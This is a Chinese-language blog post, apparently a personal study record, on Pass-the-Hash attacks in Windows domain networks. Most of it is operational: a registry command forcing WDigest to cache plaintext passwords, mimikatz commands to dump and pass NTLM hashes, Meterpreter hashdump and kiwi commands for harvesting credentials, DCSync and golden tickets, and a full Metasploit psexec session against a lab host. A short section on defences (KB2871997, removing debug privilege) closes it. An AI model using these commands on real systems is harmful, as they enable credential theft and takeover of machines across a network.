1. 程式人生 > 實用技巧 >雜湊傳遞攻擊利用(Pass The Hash)

雜湊傳遞攻擊利用(Pass The Hash)

最近又複習了一下內網的相關知識,把以前的整理了一下發出來做個記錄。

0x01 雜湊傳遞攻擊概念

有一點內網滲透經驗的都應該聽說過雜湊傳遞攻擊,通過找到相應賬戶相關的密碼雜湊值(LM Hash,NTLM Hash)來進行未授權登陸。

可參考Wikipedia的介紹,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash

在域環境中,使用者登入計算機時使用的大都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就能使用雜湊傳遞攻擊的方法登陸內網中的其他計算機。

在Windows系統中,通常會使用NTLM身份認證,NTLM認證不使用明文口令,而是使用口令加密後的hash值,hash值由系統API生成(例如LsaLogonUser)


從Windows Vista和Windows Server 2008開始,微軟預設禁用LM hash.在Windows Server 2012 R2及之後版本的作業系統中,預設不會在記憶體中儲存明文密碼,Mimikatz 就讀不到密碼明文。此時可以通過修改登入檔的方式抓取明文,但需要使用者重新登入後才能成功抓取。修改登入檔命令為:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻擊者如果使用工具將雜湊值傳遞到其他計算機中,進行許可權驗證,就能夠在身份驗證的時候模擬該使用者(即跳過呼叫API生成hash的過程),實現對計算機的控制。

NTLM Hash與NTLM

hash分為LM hash和NT hash,如果密碼長度大於15,那麼無法生成LM hash。

在Windows中,密碼Hash目前稱之為NTLM Hash,其中NTLM全稱是:“NT LAN Manager”。這個NTLM是一種網路認證協議,與NTLM Hash的關係就是:NTLM網路認證協議是以NTLM Hash作為根本憑證進行認證的協議。也就是說,NTLM與NTLM Hash相互對應。在本地認證的過程中,其實就是將使用者輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較。

注:

mimikatz支援匯出記憶體中使用者的LM hash,但前提是Windows系統支援LM hash


Windows Server 2008啟用LM hash的方法:

gpedit.msc->計算機配置->Windows 設定->安全設定->本地策略->安全選項

找到網路安全︰ 不要在下次更改密碼儲存 LAN 管理器的雜湊值,選擇已禁用

系統下一次更改密碼後,就能夠匯出LM hash(已經被棄用了)

0x02 利用方法

1.首先就是神器mimikatz,但你首先得擁有本地管理員的執行的許可權。

privilege::debug
sekurlsa::logonpasswords



複製NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之後會彈出cmd.exe,或者重新開一個命令列



也可以嘗試列出被雜湊傳遞攻擊的域內靶機的c盤內容

利用msf進行雜湊傳遞攻擊

msf內建的mimikatz獲取hash(需要管理員許可權)

在msf中也內建有mimikatz,以下命令都可以在msf中獲取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自帶的,還可以通過載入mimikatz獲得:
load mimikatz(必須,否則無以下命令)
msv 獲取的是hash值
tspkg tspkg憑證相關的模組
wdigest 讀取記憶體中存放的賬號密碼明文資訊
kerberos kerberos相關的模組
ssp 獲取的是明文資訊

mimikatz的原生命令在這裡有些改動

mimikatz_command 模組可以讓我們使用mimikatz的全部功能。

meterpreter > mimikatz_command -f a::  輸入一個錯誤的模組,可以列出所有模組
meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list 列出應用程式
meterpreter > mimikatz_command -f service::list 列出服務

例如

mimikatz_command -f samdump::hashes   獲取hash



建議每種都試一下,可能因為windows版本的高低,有些情況一種命令獲取不到,比如我的win2003就只能用hashdump命令才能看到密碼hash,



msf的kiwi模組(需要系統許可權)

kiwi就是msf內建的mimikatz模組的升級版

但是kiwi是預設載入32位系統的,所以如果目標主機是64位系統的話,直接預設載入該模組會導致很多功能無法使用。所以如果目標系統是64位的,則必須先檢視系統程式列表,然後用migrate命令將meterpreter程式遷移到一個64位程式的程式中,才能載入mimikatz並且檢視系統明文。如果目標系統是32位的,則沒有這個限制。

使用前先在meterpreter下載入kiwi模組



使用命令creds_kerberos列舉所有kerberos憑據



可以看到我之前用msf內建的mimikatz沒有載入出來的密碼,現在明文載入出來了。

再來將使用者hash密碼載入出來kiwi_cmd:執行mimikatz的命令,後面接mimikatz.exe的命令



可以看到成功列出使用者密碼hash

kiwi模組命令集合

creds_all: 列舉所有憑據
creds_kerberos:列舉所有kerberos憑據
creds_msv:列舉所有msv憑據
creds_ssp:列舉所有ssp憑據
creds_tspkg:列舉所有tspkg憑據
creds_wdigest:列舉所有wdigest憑據
dcsync: 通過DCSync檢索使用者帳戶資訊
dcsync_ntlm: 通過DCSync檢索使用者帳戶NTLM雜湊、SID和RID
golden_ticket_create:建立黃金票據
kerberos_ticket_list:列舉kerberos票據
kerberos_ticket_purge:清除kerberos票據
kerberos_ticket_use:使用kerberos票據
kiwi_cmd:執行mimikatz的命令,後面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密碼
wifi_list: 列出當前使用者的wifi配置檔案
wifi_list_shared: 列出共享wifi配置檔案/編碼

msf psexec模組

PsExec是sysinternals套件中的一款強大的軟體,通過他可以提權和執行遠端命令,對於批量大範圍的遠端運維能起到很好的效果,尤其是在域環境下。但現在,攻擊者漸漸開始使用psexec,通過命令列環境與目標靶機進行連線,甚至控制目標機器,而不需要通過遠端連線協議(RDP)進行圖形化設定,降低了因為惡意操作被管理員發現的可能性(因為PsExec是Windows提供的工具,所以防毒軟體可能會將其列入白名單)

msf中有3個psexec模組都可以進行Hash傳遞利用:

# 執行單個命令的PTH模組
auxiliary/admin/smb/psexec_command # 執行直接就獲取到meterpreter的PTH模組
exploit/windows/smb/psexec # 支援對一個網段進行PTH進行驗證的模組
exploit/windows/smb/psexec_psh

再使用pesxec模組之前要保證:

  1. 開啟445埠 SMB服務
  2. 開啟admin$共享

    使用之前板塊獲取到的管理員NTLM Hash

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390這裡前半部分的LM Hash不重要,只要保證後半部分的NTML Hash正確就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run



這裡還有很多不錯的獲取hash方法沒寫(主要是懶,用msf方便),比如PowerShell、WCE、AES-256金鑰雜湊傳遞、python第三方庫impacket下的secretsdump等等,以後有空再記錄吧.....

0x03 防範措施

KB2871997補丁的影響

防範首先想到打補丁,微軟也早在2014年5月釋出了KB2871997補丁,該補丁禁止通過本地管理員許可權與遠端計算機進行連線,其後果就是:無法通過本地管理員許可權對遠端計算機使用Psexec、WMI、smbecec等,也無法訪問遠端的檔案共享等。

但實際上就算打了KB2871997補丁後,Administrator賬號(SID為500)也是例外的,使用該賬戶的NTLM Hash依然可以進行雜湊傳遞

防禦 mimikatz 攻擊

mimikatz在抓取雜湊值或明文密碼時,需要用到Debug許可權(因為mimikatz需要和lsass程式進行互動,如果沒有Debug許可權,mimikatz將不能讀取lsass程式裡的密碼)。而Debug許可權歸本地管理員Administrator所有,目的是確定哪些使用者可以將偵錯程式附加到任何程式或核心中,但一般Administrator不會用到這個許可權(除非是系統程式)。



所以在配置使用者許可權時,可以將擁有Debug許可權的本地管理員從Administrator組中移除。重啟系統之後,在執行mimikatz,在第一步"privilege::debug"時就會報錯了。